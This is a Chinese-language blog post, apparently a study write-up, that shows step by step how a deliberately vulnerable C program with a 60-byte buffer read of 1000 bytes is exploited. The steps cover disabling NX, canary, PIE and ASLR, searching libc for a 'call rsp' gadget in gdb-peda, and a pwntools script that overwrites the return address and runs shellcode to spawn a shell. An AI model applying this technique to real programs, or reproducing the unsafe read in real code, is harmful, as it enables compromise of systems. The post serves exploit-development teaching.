Pwn学习总结(4):无保护的栈溢出

实验平台:

x86_64, Ubuntu 18.04.5 LTS, Kernel 4.15.0-156-generic, glibc 2.27-3ubuntu1.4

实验源码及答案:https://github.com/bjrjk/pwn-learning/tree/main/StackOverflow/no-protection

hello.c为本次试验的C语言程序源代码,内容如下:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
void SayHello(void){
    char tmpName[60];
    read(0, tmpName, 1000);
    printf("Hello %s\n", tmpName);
}

int main(int argc, char** argv){
    SayHello();
    return 0;
}

非常明显的,本程序中存在缓冲区溢出漏洞。栈上的数组大小只有60,利用read系统调用读入数据时,却可以读入1000个。
我们利用compile.sh脚本编译hello.c,得到hello这个elf可执行程序。

#!/bin/sh
gcc hello.c -g -o hello -zexecstack -fno-stack-protector -no-pie

编译时,开启调试选项,关闭NX,关闭Canary,关闭PIE。
使用checksec确认可执行文件的保护措施。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

所有可执行文件的保护措施全部关闭,但我们还需要关闭系统的ASLR,防止库函数的地址随机化。在Ubuntu中以root权限执行以下命令,以临时关闭ASLR,重启后失效。

echo 0 > /proc/sys/kernel/randomize_va_space

对于无保护的栈溢出,最常见的做法是将shellcode布局到栈上寄存器rsp所指的位置,然后在程序的地址空间中查找call rspjmp rsp,令返回地址指向它即可。下面我们来利用这种办法解决这个问题。

把程序拖到IDA里,F5反编译一下,查看SayHello函数。


可以发现,tmpName的首地址距离返回地址r差0x40+0x08=0x48,它也恰好是当前栈帧顶(寄存器rsp)所指向的地址。

我在此处走了一些弯路,本来想的是利用跳转到rsp,就直接将shellcode布局到tmpName处,后期出错,用gdb调试才发现,函数的尾声epilogue部分,是先执行leave,再执行ret。因此,shellcode应当布局在返回地址的后面。

在关闭了ASLR之后,我们使用gdb来查询一下libc中call rspjmp rsp的地址。
注意:随libc版本的不同,汇编指令的地址也会不同,因此在我机器上运行正常的pwn脚本,对于这个跳转rsp的地址,需要在别的机器上再做适配。

jackren@ubuntu:~/pwn-learning/stackoverflow/no-protectionpeda-gdb
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
gdb-peda file hello
Reading symbols from hello...done.
gdb-pedab main
Breakpoint 1 at 0x40057f: file hello.c, line 11.
gdb-peda info b
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x000000000040057f in main at hello.c:11
gdb-pedarun
Starting program: /home/jackren/pwn-learning/stackoverflow/no-protection/hello 

[----------------------------------registers-----------------------------------]
RAX: 0x400570 (<main>:    push   rbp)
RBX: 0x0 
RCX: 0x400590 (<__libc_csu_init>: push   r15)
RDX: 0x7fffffffde08 --> 0x7fffffffe1cc ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffddf8 --> 0x7fffffffe18f ("/home/jackren/pwn-learning/stackoverflow/no-protection/hello")
RDI: 0x1 
RBP: 0x7fffffffdd10 --> 0x400590 (<__libc_csu_init>:   push   r15)
RSP: 0x7fffffffdd00 --> 0x7fffffffddf8 --> 0x7fffffffe18f ("/home/jackren/pwn-learning/stackoverflow/no-protection/hello")
RIP: 0x40057f (<main+15>: call   0x400537 <SayHello>)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x400450 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffddf0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400574 <main+4>: sub    rsp,0x10
   0x400578 <main+8>: mov    DWORD PTR [rbp-0x4],edi
   0x40057b <main+11>:    mov    QWORD PTR [rbp-0x10],rsi
=> 0x40057f <main+15>: call   0x400537 <SayHello>
   0x400584 <main+20>:    mov    eax,0x0
   0x400589 <main+25>:    leave    0x40058a <main+26>:    ret      0x40058b:    nop    DWORD PTR [rax+rax*1+0x0]
No argument
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd00 --> 0x7fffffffddf8 --> 0x7fffffffe18f ("/home/jackren/pwn-learning/stackoverflow/no-protection/hello")
0008| 0x7fffffffdd08 --> 0x100000000 
0016| 0x7fffffffdd10 --> 0x400590 (<__libc_csu_init>:  push   r15)
0024| 0x7fffffffdd18 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:  mov    edi,eax)
0032| 0x7fffffffdd20 --> 0x1 
0040| 0x7fffffffdd28 --> 0x7fffffffddf8 --> 0x7fffffffe18f ("/home/jackren/pwn-learning/stackoverflow/no-protection/hello")
0048| 0x7fffffffdd30 --> 0x100008000 
0056| 0x7fffffffdd38 --> 0x400570 (<main>: push   rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, main (argc=0x1, argv=0x7fffffffddf8) at hello.c:11
11      SayHello();
gdb-peda asmsearch "call rsp" libc
Searching for ASM code: 'call rsp' in: libc ranges
0x00007ffff79e263a : (c1d4) rcl    esp,0xa0
0x00007ffff79e2a1d : (d2d4) rcl    ah,cl
0x00007ffff79e2a84 : (02d4) add    dl,ah
0x00007ffff79e2feb : (00d4) add    ah,dl
0x00007ffff79e3367 : (00d4) add    ah,dl
0x00007ffff79e36c3 : (00d4) add    ah,dl
0x00007ffff79e3a03 : (00d4) add    ah,dl
0x00007ffff79e3bcc : (72d4) jb     0x7ffff79e3ba2
0x00007ffff79e3cf8 : (4dd4) rex.WRB (bad)
0x00007ffff79e3fa4 : (9ad4) (bad)  ;    (bad)
0x00007ffff79e3fda : (cdd4) int    0xd4
0x00007ffff79e4090 : (8cd4) mov    esp,ss
0x00007ffff79e41b3 : (22d4) and    dl,ah
0x00007ffff79e422d : (c2d4) ret    0x1dd4
0x00007ffff79e445f : (ccd4) int3   ;    (bad)
0x00007ffff79e4480 : (e7d4) out    0xd4,eax
0x00007ffff79e4613 : (5dd4) pop    rbp; (bad)
0x00007ffff79e4697 : (e5d4) in     eax,0xd4
0x00007ffff79e472c : (2ed4) cs (bad)
0x00007ffff79e4a0b : (7cd4) jl     0x7ffff79e49e1
0x00007ffff79e4c12 : (83d4) adc    esp,0x4b
0x00007ffff79e4d4d : (b2d4) mov    dl,0xd4
0x00007ffff79e4f0f : (acd4) [rsi];  (bad)
0x00007ffff79e4f7b : (05d4) add    eax,0xb10965d4
0x00007ffff79e501a : (54d4) push   rsp; (bad)
--More--(25/1882)
0x00007ffff79e501c : (81d4) adc    esp,0x7d037e23
0x00007ffff79e51a6 : (41d4) rex.B (bad)
0x00007ffff79e527f : (bad4) mov    edx,0xc0c25cd4
0x00007ffff79e52a3 : (d8d4) fcom   st(4)
0x00007ffff79e52df : (44d4) rex.R (bad)
0x00007ffff79e53f1 : (44d4) rex.R (bad)
0x00007ffff79e5431 : (52d4) push   rdx; (bad)
0x00007ffff79e5891 : (35d4) xor    eax,0xf03a04d4
0x00007ffff79e58e4 : (88d4) mov    ah,dl
0x00007ffff79e58e8 : (52d4) push   rdx; (bad)
0x00007ffff79e5953 : (ecd4) in     al,dx;   (bad)
0x00007ffff79e5a4c : (b6d4) mov    dh,0xd4
0x00007ffff79e5bd8 : (b4d4) mov    ah,0xd4
0x00007ffff79e5c8a : (19d4) sbb    esp,edx
0x00007ffff79e5ce5 : (c1d4) rcl    esp,0xf1
0x00007ffff79e5cec : (f8d4) clc    ;    (bad)
0x00007ffff79e5d33 : (b1d4) mov    cl,0xd4
0x00007ffff79e5dfc : (6ad4) push   0xffffffffffffffd4
0x00007ffff79e5ed6 : (b8d4) mov    eax,0x222acdd4
0x00007ffff79e6977 : (00d4) add    ah,dl
0x00007ffff79e697f : (00d4) add    ah,dl
0x00007ffff79e6bc8 : (10d4) adc    ah,dl
0x00007ffff79e7a38 : (30d4) xor    ah,dl
0x00007ffff79e7e67 : (00d4) add    ah,dl
0x00007ffff79e7f90 : (c0d4) rcl    ah,0x11
--More--(50/1882)
0x00007ffff79e83c8 : (30d4) xor    ah,dl
0x00007ffff79e84df : (00d4) add    ah,dl
0x00007ffff79e89ef : (00d4) add    ah,dl
0x00007ffff79e8cb0 : (c0d4) rcl    ah,0x15
0x00007ffff79e8fb0 : (70d4) jo     0x7ffff79e8f86
0x00007ffff79e9658 : (c0d4) rcl    ah,0x11
0x00007ffff79e9d3f : (00d4) add    ah,dl
0x00007ffff79e9e6f : (00d4) add    ah,dl
0x00007ffff79ea33f : (00d4) add    ah,dl
0x00007ffff79ec5ef : (00d4) add    ah,dl
0x00007ffff79ec8d7 : (00d4) add    ah,dl
0x00007ffff79ecc10 : (60d4) (bad)  ;    (bad)
0x00007ffff79edea7 : (00d4) add    ah,dl
0x00007ffff79ee11f : (00d4) add    ah,dl
0x00007ffff79eebdf : (00d4) add    ah,dl
0x00007ffff79eef3f : (00d4) add    ah,dl
0x00007ffff79f06c7 : (00d4) add    ah,dl
0x00007ffff79f1017 : (00d4) add    ah,dl
0x00007ffff79f238f : (00d4) add    ah,dl
0x00007ffff79f348f : (00d4) add    ah,dl
0x00007ffff79fd2c0 : (80d4) adc    ah,0x19
0x00007ffff79fd2d8 : (cad4) retf   0x19d4
0x00007ffff79fd2f0 : (e0d4) loopne 0x7ffff79fd2c6
0x00007ffff79fd427 : (00d4) add    ah,dl
0x00007ffff79fd607 : (00d4) add    ah,dl
--More--(75/1882)
0x00007ffff7a0256b : (00d4) add    ah,dl
0x00007ffff7a033cc : (f0d4) lock (bad)
0x00007ffff7a034b1 : (75d4) jne    0x7ffff7a03487 <check_stdfiles_vtables+23>
0x00007ffff7a03985 : (89d4) mov    esp,edx
0x00007ffff7a04045 : (4ad4) rex.WX (bad)
0x00007ffff7a04135 : (4ad4) rex.WX (bad)
0x00007ffff7a04b1b : (89d4) mov    esp,edx
0x00007ffff7a05027 : (e8d4) call   0x7ffff7a03200 <*ABS*+0x9d940@plt>
0x00007ffff7a059b7 : (84d4) test   ah,dl
0x00007ffff7a05acc : (89d4) mov    esp,edx
0x00007ffff7a05d2c : (d0d4) rcl    ah,1
0x00007ffff7a05d45 : (b7d4) mov    bh,0xd4
0x00007ffff7a05d67 : (95d4) xchg   ebp,eax; (bad)
0x00007ffff7a05d84 : (78d4) js     0x7ffff7a05d5a <__gconv_find_transform+666>
0x00007ffff7a05e96 : (bbd4) mov    ebx,0x66ffffd4
0x00007ffff7a05f92 : (75d4) jne    0x7ffff7a05f68 <insert_module+120>
0x00007ffff7a061f4 : (29d4) sub    esp,edx
0x00007ffff7a0646c : (29d4) sub    esp,edx
0x00007ffff7a06967 : (2dd4) sub    eax,0x3c6ad4
0x00007ffff7a06c33 : (89d4) mov    esp,edx
0x00007ffff7a074bc : (89d4) mov    esp,edx
0x00007ffff7a08118 : (ffd4) call   rsp
0x00007ffff7a08408 : (ffd4) call   rsp
0x00007ffff7a0853e : (1ed4) (bad)  ;    (bad)
0x00007ffff7a08545 : (2bd4) sub    edx,esp
--More--(100/1882)q
gdb-peda$ 

使用peda-gdb执行asmsearch "call rsp" libc,发现在虚拟空间地址0x00007ffff7a08118处有一句。因此我们要将返回地址布局为它。

因此利用pwntools编写answer.py如下:

#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
import os
context.log_level="debug"
context(arch="amd64",os="linux")
# 设置体系结构

p=process('./hello') # 开启进程
shellcode=asm(shellcraft.sh()) # 生成shellcode
len_sc=len(shellcode)
payload=0x48*'0'+p64(0x00007ffff7a08118)+shellcode
# 首先填充栈上的变量区域、rbp,接着覆盖返回地址,再填充shellcode
with open('payload.txt', 'w') as f:
    f.write(payload)
p.sendline(payload)
p.interactive()

结果为getshell成功。

参考资料:
[1] kali下栈溢出实验和一些tips https://blog.csdn.net/niexinming/article/details/76893510

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注